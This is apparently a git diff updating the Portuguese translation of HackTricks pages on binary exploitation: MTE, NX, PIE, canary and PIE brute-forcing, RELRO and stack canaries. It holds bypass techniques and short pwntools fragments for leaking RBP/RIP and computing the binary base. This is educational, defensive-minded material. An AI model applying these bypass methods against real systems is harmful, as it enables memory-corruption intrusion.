-Portanto, isso permite até **16 valores de tag diferentes**. +Portanto, isso permite até **16 valores de rótulo diferentes**. -### Tags de Memória MTE +### MTE Memory Tags -Cada **16B de memória física** tem uma **tag de memória correspondente**. +Cada **16B de memória física** tem um **rótulo de memória** correspondente. -As tags de memória são armazenadas em uma **região de RAM dedicada** (não acessível para uso normal). Com tags de 4 bits para cada 16B de tags de memória, até 3% da RAM. +Os rótulos de memória são armazenados em uma **região de RAM dedicada** (não acessível para uso normal). Tendo rótulos de 4 bits para cada 16B de rótulos de memória, até 3% da RAM. -A ARM introduz as seguintes instruções para manipular essas tags na memória RAM dedicada: +A ARM introduz as seguintes instruções para manipular esses rótulos na memória RAM dedicada: ``` STG [], # Store Allocation (memory) Tag LDG , [] Load Allocatoin (memory) Tag IRG , Insert Random [pointer] Tag ... ``` -## Modos de Verificação +## Checking Modes -### Síncrono +### Sync -A CPU verifica as tags **durante a execução da instrução**, se houver uma diferença, ela gera uma exceção.\ +A CPU verifica as tags **durante a execução da instrução**, se houver uma incompatibilidade, ela gera uma exceção.\ Este é o mais lento e mais seguro. -### Assíncrono +### Async -A CPU verifica as tags **de forma assíncrona**, e quando encontra uma diferença, define um bit de exceção em um dos registradores do sistema. É **mais rápido** que o anterior, mas é **incapaz de apontar** a instrução exata que causou a diferença e não gera a exceção imediatamente, dando tempo ao atacante para concluir seu ataque. +A CPU verifica as tags **assíncronamente**, e quando uma incompatibilidade é encontrada, ela define um bit de exceção em um dos registradores do sistema. É **mais rápido** do que o anterior, mas é **incapaz de apontar** a instrução exata que causou a incompatibilidade e não gera a exceção imediatamente, dando algum tempo ao atacante para completar seu ataque. -### Misto +### Mixed ??? -## Exemplos de Implementação e Detecção +## Implementation & Detection Examples -Chamado de KASAN baseado em Tags de Hardware, KASAN baseado em MTE ou MTE no kernel.\ -Os alocadores do kernel (como `kmalloc`) irão **chamar este módulo** que irá preparar a tag a ser usada (aleatoriamente), anexá-la ao espaço do kernel alocado e ao ponteiro retornado. +Chamado de KASAN baseado em tags de hardware, KASAN baseado em MTE ou MTE em kernel.\ +Os alocadores do kernel (como `kmalloc`) **chamarão este módulo** que preparará a tag para usar (aleatoriamente) anexá-la ao espaço do kernel alocado e ao ponteiro retornado. -Observe que ele irá **marcar apenas grânulos de memória suficientes** (16B cada) para o tamanho solicitado. Portanto, se o tamanho solicitado foi 35 e um bloco de 60B foi dado, ele marcará os primeiros 16\*3 = 48B com esta tag e o **restante** será **marcado** com uma chamada **tag inválida (0xE)**. +Note que ele **marcará apenas grânulos de memória suficientes** (16B cada) para o tamanho solicitado. Portanto, se o tamanho solicitado foi 35 e um bloco de 60B foi dado, ele marcará os primeiros 16\*3 = 48B com esta tag e o **restante** será **marcado** com uma chamada de **tag inválida (0xE)**. -A tag **0xF** é o **combinar todos os ponteiros**. Uma memória com este ponteiro permite que **qualquer tag seja usada** para acessar sua memória (sem diferenças). Isso poderia impedir que o MET detectasse um ataque se essa tag estiver sendo usada na memória atacada. +A tag **0xF** é o **ponteiro que combina com todos**. Uma memória com este ponteiro permite que **qualquer tag seja usada** para acessar sua memória (sem incompatibilidades). Isso poderia impedir que o MET detectasse um ataque se essas tags estiverem sendo usadas na memória atacada. Portanto, existem apenas **14 valores** que podem ser usados para gerar tags, pois 0xE e 0xF são reservados, dando uma probabilidade de **reutilização de tags** de 1/17 -> cerca de **7%**. -Se o kernel acessar o **grânulo de tag inválido**, a **diferença** será **detectada**. Se acessar outra localização de memória, se a **memória tiver uma tag diferente** (ou a tag inválida), a diferença será **detectada**. Se o atacante tiver sorte e a memória estiver usando a mesma tag, não será detectado. As chances são de cerca de 7%. +Se o kernel acessar o **grânulo de tag inválida**, a **incompatibilidade** será **detectada**. Se acessar outro local de memória, se a **memória tiver uma tag diferente** (ou a tag inválida), a incompatibilidade será **detectada**. Se o atacante tiver sorte e a memória estiver usando a mesma tag, não será detectada. As chances são de cerca de 7%. -Outro bug ocorre no **último grânulo** da memória alocada. Se a aplicação solicitou 35B, foi dado o grânulo de 32 a 48. Portanto, os **bytes de 36 a 47 estão usando a mesma tag** mas não foram solicitados. Se o atacante acessar **esses bytes extras, isso não será detectado**. +Outro bug ocorre no **último grânulo** da memória alocada. Se a aplicação solicitou 35B, foi dado o grânulo de 32 a 48. Portanto, os **bytes de 36 a 47 estão usando a mesma tag** mas não foram solicitados. Se o atacante acessar **esses bytes extras, isso não é detectado**. -Quando o **`kfree()`** é executado, a memória é retageada com a tag de memória inválida, então em um **uso após liberação**, quando a memória é acessada novamente, a **diferença é detectada**. +Quando **`kfree()`** é executado, a memória é retagged com a tag de memória inválida, então em um **use-after-free**, quando a memória é acessada novamente, a **incompatibilidade é detectada**. -No entanto, em um uso após liberação, se o mesmo **bloco for realocado novamente com a MESMA tag** como anteriormente, um atacante poderá usar esse acesso e isso não será detectado (cerca de 7% de chance). +No entanto, em um use-after-free, se o mesmo **chunk for realocado novamente com a MESMA tag** que anteriormente, um atacante poderá usar esse acesso e isso não será detectado (cerca de 7% de chance). Além disso, apenas **`slab` e `page_alloc`** usam memória marcada, mas no futuro isso também será usado em `vmalloc`, `stack` e `globals` (no momento do vídeo, esses ainda podem ser abusados). -Quando uma **diferença é detectada**, o kernel irá **entrar em pânico** para evitar futuras explorações e tentativas do exploit (MTE não tem falsos positivos). +Quando uma **incompatibilidade é detectada**, o kernel irá **panic** para evitar mais exploração e tentativas do exploit (MTE não tem falsos positivos). -## Referências +## References * [https://www.youtube.com/watch?v=UwMt0e\_dC\_Q](https://www.youtube.com/watch?v=UwMt0e\_dC\_Q) + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md index d96bf047c..e5ae62df3 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md @@ -6,22 +6,22 @@ Aprenda e pratique Hacking GCP: -Suporte o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). {% endhint %} ## Informações Básicas -O bit **No-Execute (NX)**, também conhecido como **Execute Disable (XD)** na terminologia da Intel, é um recurso de segurança baseado em hardware projetado para **mitigar** os efeitos de ataques de **estouro de buffer**. Quando implementado e ativado, ele distingue entre regiões de memória destinadas a **código executável** e aquelas destinadas a **dados**, como a **pilha** e o **heap**. A ideia principal é evitar que um atacante execute código malicioso por meio de vulnerabilidades de estouro de buffer, colocando o código malicioso na pilha, por exemplo, e direcionando o fluxo de execução para ele. +O **bit No-Execute (NX)**, também conhecido como **Execute Disable (XD)** na terminologia da Intel, é um recurso de segurança baseado em hardware projetado para **mitigar** os efeitos de ataques de **buffer overflow**. Quando implementado e ativado, ele distingue entre regiões de memória que são destinadas a **código executável** e aquelas destinadas a **dados**, como a **pilha** e o **heap**. A ideia central é impedir que um atacante execute código malicioso através de vulnerabilidades de buffer overflow, colocando o código malicioso na pilha, por exemplo, e direcionando o fluxo de execução para ele. ## Bypasses -* É possível usar técnicas como [**ROP**](../rop-return-oriented-programing/) **para contornar** essa proteção executando trechos de código executável já presentes no binário. +* É possível usar técnicas como [**ROP**](../rop-return-oriented-programing/) **para contornar** essa proteção executando pedaços de código executável já presentes no binário. * [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) * [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) * **Ret2...** @@ -32,11 +32,11 @@ Aprenda e pratique Hacking GCP: -Suporte o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). {% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md index e6a75648a..c99099b55 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md @@ -1,58 +1,58 @@ # PIE {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} ## Informações Básicas -Um binário compilado como PIE, ou **Executable de Posição Independente**, significa que o **programa pode carregar em diferentes locais de memória** cada vez que é executado, impedindo endereços codificados. +Um binário compilado como PIE, ou **Executável Independente de Posição**, significa que o **programa pode ser carregado em diferentes locais de memória** cada vez que é executado, prevenindo endereços codificados. -O truque para explorar esses binários está em explorar os **endereços relativos** — os deslocamentos entre partes do programa permanecem os mesmos mesmo se as localizações absolutas mudarem. Para **burlar o PIE, você só precisa vazar um endereço**, normalmente da **pilha** usando vulnerabilidades como ataques de string de formato. Uma vez que você tem um endereço, você pode calcular outros pelos seus **deslocamentos fixos**. +O truque para explorar esses binários está em explorar os **endereços relativos**—os deslocamentos entre partes do programa permanecem os mesmos, mesmo que as localizações absolutas mudem. Para **burlar o PIE, você só precisa vazar um endereço**, tipicamente da **pilha** usando vulnerabilidades como ataques de string de formato. Uma vez que você tenha um endereço, pode calcular outros por seus **deslocamentos fixos**. -Uma dica útil na exploração de binários PIE é que o **endereço base geralmente termina em 000** devido às páginas de memória serem as unidades de randomização, com tamanho de 0x1000 bytes. Este alinhamento pode ser um **verificador crítico se um exploit não estiver funcionando** como esperado, indicando se o endereço base correto foi identificado.\ -Ou você pode usar isso para o seu exploit, se você vazar que um endereço está localizado em **`0x649e1024`** você sabe que o **endereço base é `0x649e1000`** e a partir daí você pode apenas **calcular deslocamentos** de funções e localizações. +Uma dica útil na exploração de binários PIE é que seu **endereço base normalmente termina em 000** devido às páginas de memória serem as unidades de randomização, com tamanho de 0x1000 bytes. Este alinhamento pode ser uma **verificação crítica se um exploit não está funcionando** como esperado, indicando se o endereço base correto foi identificado.\ +Ou você pode usar isso para seu exploit, se você vazar que um endereço está localizado em **`0x649e1024`** você sabe que o **endereço base é `0x649e1000`** e a partir daí você pode apenas **calcular deslocamentos** de funções e locais. ## Bypasses -Para burlar o PIE é necessário **vazar algum endereço do binário carregado**, existem algumas opções para isso: +Para contornar o PIE, é necessário **vazar algum endereço do binário carregado**, existem algumas opções para isso: -* **ASLR desativado**: Se o ASLR estiver desativado, um binário compilado com PIE sempre **será carregado no mesmo endereço**, portanto o **PIE será inútil** já que os endereços dos objetos sempre estarão no mesmo lugar. -* Ser **dado** o vazamento (comum em desafios CTF fáceis, [**verifique este exemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) -* **Forçar os valores de EBP e EIP** na pilha até vazar os corretos: +* **ASLR desativado**: Se o ASLR estiver desativado, um binário compilado com PIE sempre **será carregado no mesmo endereço**, portanto **o PIE será inútil** já que os endereços dos objetos sempre estarão no mesmo lugar. +* Ser **dado** o vazamento (comum em desafios fáceis de CTF, [**ver este exemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) +* **Forçar valores de EBP e EIP** na pilha até que você vaze os corretos: {% content-ref url="bypassing-canary-and-pie.md" %} [bypassing-canary-and-pie.md](bypassing-canary-and-pie.md) {% endcontent-ref %} -* Use uma vulnerabilidade de **leitura arbitrária** como [**string de formato**](../../format-strings/) para vazar um endereço do binário (por exemplo, da pilha, como na técnica anterior) para obter a base do binário e usar deslocamentos a partir daí. [**Encontre um exemplo aqui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). +* Usar uma vulnerabilidade de **leitura arbitrária** como [**string de formato**](../../format-strings/) para vazar um endereço do binário (por exemplo, da pilha, como na técnica anterior) para obter a base do binário e usar deslocamentos a partir daí. [**Encontre um exemplo aqui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). ## Referências * [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md index 3cdf27e10..63dfc037c 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md @@ -6,34 +6,34 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). {% endhint %} -**Se você estiver lidando com um binário protegido por um canário e PIE (Executable Independente de Posição), provavelmente precisará encontrar uma maneira de contorná-los.** +**Se você está enfrentando um binário protegido por um canário e PIE (Executable Independente de Posição), você provavelmente precisa encontrar uma maneira de contorná-los.** ![](<../../../.gitbook/assets/image (865).png>) {% hint style="info" %} -Observe que o **`checksec`** pode não detectar que um binário está protegido por um canário se ele foi compilado estaticamente e não é capaz de identificar a função.\ -No entanto, você pode perceber manualmente isso se encontrar que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair. +Note que **`checksec`** pode não encontrar que um binário está protegido por um canário se este foi compilado estaticamente e não é capaz de identificar a função.\ +No entanto, você pode perceber isso manualmente se encontrar que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair. {% endhint %} ## Endereços de Força Bruta -Para **contornar o PIE**, você precisa **vazar algum endereço**. E se o binário não estiver vazando nenhum endereço, a melhor coisa a fazer é **forçar bruta o RBP e RIP salvos na pilha** na função vulnerável.\ -Por exemplo, se um binário é protegido usando tanto um **canário** quanto **PIE**, você pode começar a forçar bruta o canário, então os **próximos** 8 Bytes (x64) serão o **RBP** salvo e os **próximos** 8 Bytes serão o **RIP** salvo. +Para **contornar o PIE**, você precisa **vazar algum endereço**. E se o binário não estiver vazando nenhum endereço, a melhor maneira de fazer isso é **forçar o RBP e o RIP salvos na pilha** na função vulnerável.\ +Por exemplo, se um binário estiver protegido usando tanto um **canário** quanto **PIE**, você pode começar a forçar o canário, então os **próximos** 8 Bytes (x64) serão o **RBP** salvo e os **próximos** 8 Bytes serão o **RIP** salvo. {% hint style="success" %} -Supõe-se que o endereço de retorno dentro da pilha pertence ao código binário principal, que, se a vulnerabilidade estiver localizada no código binário, geralmente será o caso. +Supõe-se que o endereço de retorno dentro da pilha pertença ao código binário principal, que, se a vulnerabilidade estiver localizada no código binário, geralmente será o caso. {% endhint %} -Para forçar bruta o RBP e o RIP do binário, você pode descobrir que um byte adivinhado válido está correto se o programa produzir algo ou simplesmente não travar. A **mesma função** fornecida para forçar bruta o canário pode ser usada para forçar bruta o RBP e o RIP: +Para forçar o RBP e o RIP do binário, você pode descobrir que um byte adivinhado válido está correto se o programa produzir alguma saída ou simplesmente não travar. A **mesma função** fornecida para forçar o canário pode ser usada para forçar o RBP e o RIP: ```python from pwn import * @@ -83,36 +83,36 @@ RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` A última coisa que você precisa para derrotar o PIE é calcular **endereços úteis a partir dos endereços vazados**: o **RBP** e o **RIP**. -A partir do **RBP**, você pode calcular **onde está escrevendo seu shell no stack**. Isso pode ser muito útil para saber onde você vai escrever a string _"/bin/sh\x00"_ dentro do stack. Para calcular a distância entre o RBP vazado e seu shellcode, você pode simplesmente colocar um **ponto de interrupção após vazar o RBP** e verificar **onde está localizado seu shellcode**, então, você pode calcular a distância entre o shellcode e o RBP: +A partir do **RBP** você pode calcular **onde você está escrevendo seu shell na pilha**. Isso pode ser muito útil para saber onde você vai escrever a string _"/bin/sh\x00"_ dentro da pilha. Para calcular a distância entre o RBP vazado e seu shellcode, você pode simplesmente colocar um **ponto de interrupção após vazar o RBP** e verificar **onde seu shellcode está localizado**, então, você pode calcular a distância entre o shellcode e o RBP: ```python INI_SHELLCODE = RBP - 1152 ``` -A partir do **RIP** é possível calcular o **endereço base do executável PIE**, o que será necessário para criar uma **cadeia ROP válida**.\ -Para calcular o endereço base, basta executar `objdump -d vunbinary` e verificar os últimos endereços desmontados: +A partir do **RIP**, você pode calcular o **endereço base do binário PIE**, que é o que você vai precisar para criar uma **cadeia ROP válida**.\ +Para calcular o endereço base, basta fazer `objdump -d vunbinary` e verificar os últimos endereços da desassemblagem: ![](<../../../.gitbook/assets/image (479).png>) -Neste exemplo, é possível ver que apenas **1 byte e meio é necessário** para localizar todo o código, então, o endereço base nesta situação será o **RIP vazado, mas terminando em "000"**. Por exemplo, se o vazamento for `0x562002970ecf`, o endereço base será `0x562002970000`. +Nesse exemplo, você pode ver que apenas **1 Byte e meio é necessário** para localizar todo o código, então, o endereço base nesta situação será o **RIP vazado, mas terminando em "000"**. Por exemplo, se você vazou `0x562002970ecf`, o endereço base é `0x562002970000` ```python elf.address = RIP - (RIP & 0xfff) ``` ## Melhorias -De acordo com [**algumas observações deste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), é possível que ao vazar os valores RBP e RIP, o servidor não irá travar com alguns valores que não são os corretos e o script BF pensará que obteve os corretos. Isso ocorre porque é possível que **alguns endereços simplesmente não causem a quebra, mesmo que não sejam exatamente os corretos**. +De acordo com [**algumas observações deste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), é possível que ao vazar os valores de RBP e RIP, o servidor não trave com alguns valores que não são os corretos e o script BF pense que obteve os bons. Isso ocorre porque é possível que **alguns endereços simplesmente não o quebrem mesmo que não sejam exatamente os corretos**. -De acordo com esse post do blog, é recomendado adicionar um pequeno atraso entre as solicitações feitas ao servidor. +De acordo com esse post no blog, é recomendado adicionar um pequeno atraso entre as requisições ao servidor. {% hint style="success" %} -Aprenda e pratique Hacking na AWS: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/relro.md b/binary-exploitation/common-binary-protections-and-bypasses/relro.md index 6a76c03f9..515e9cccc 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/relro.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/relro.md @@ -41,7 +41,7 @@ readelf -l /proc/ID_PROC/exe | grep BIND_NOW Se o Full RELRO estiver habilitado, a única maneira de contorná-lo é encontrar outra forma que não precise escrever na tabela GOT para obter execução arbitrária. -Note que **o GOT da LIBC geralmente é Partial RELRO**, então pode ser modificado com uma escrita arbitrária. Mais informações em [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** +Note que **o GOT da LIBC é geralmente Partial RELRO**, então pode ser modificado com uma escrita arbitrária. Mais informações em [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md b/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md index fe6468591..246f54aa4 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -6,52 +6,52 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. {% endhint %} ## **StackGuard e StackShield** -**StackGuard** insere um valor especial conhecido como **canary** antes do **EIP (Extended Instruction Pointer)**, especificamente `0x000aff0d` (representando nulo, nova linha, EOF, retorno de carro) para proteger contra estouros de buffer. No entanto, funções como `recv()`, `memcpy()`, `read()` e `bcopy()` permanecem vulneráveis, e não protege o **EBP (Base Pointer)**. +**StackGuard** insere um valor especial conhecido como **canário** antes do **EIP (Extended Instruction Pointer)**, especificamente `0x000aff0d` (representando null, newline, EOF, carriage return) para proteger contra estouros de buffer. No entanto, funções como `recv()`, `memcpy()`, `read()`, e `bcopy()` permanecem vulneráveis, e não protege o **EBP (Base Pointer)**. -**StackShield** adota uma abordagem mais sofisticada do que o StackGuard, mantendo uma **Global Return Stack**, que armazena todos os endereços de retorno (**EIPs**). Essa configuração garante que qualquer estouro não cause danos, pois permite a comparação entre os endereços de retorno armazenados e os reais para detectar ocorrências de estouro. Além disso, o StackShield pode verificar o endereço de retorno em relação a um valor de limite para detectar se o **EIP** aponta para fora do espaço de dados esperado. No entanto, essa proteção pode ser contornada por técnicas como Return-to-libc, ROP (Return-Oriented Programming) ou ret2ret, indicando que o StackShield também não protege variáveis locais. +**StackShield** adota uma abordagem mais sofisticada do que o StackGuard, mantendo uma **Global Return Stack**, que armazena todos os endereços de retorno (**EIPs**). Essa configuração garante que qualquer estouro não cause danos, pois permite uma comparação entre os endereços de retorno armazenados e os reais para detectar ocorrências de estouro. Além disso, o StackShield pode verificar o endereço de retorno em relação a um valor limite para detectar se o **EIP** aponta fora do espaço de dados esperado. No entanto, essa proteção pode ser contornada por técnicas como Return-to-libc, ROP (Return-Oriented Programming), ou ret2ret, indicando que o StackShield também não protege variáveis locais. -## 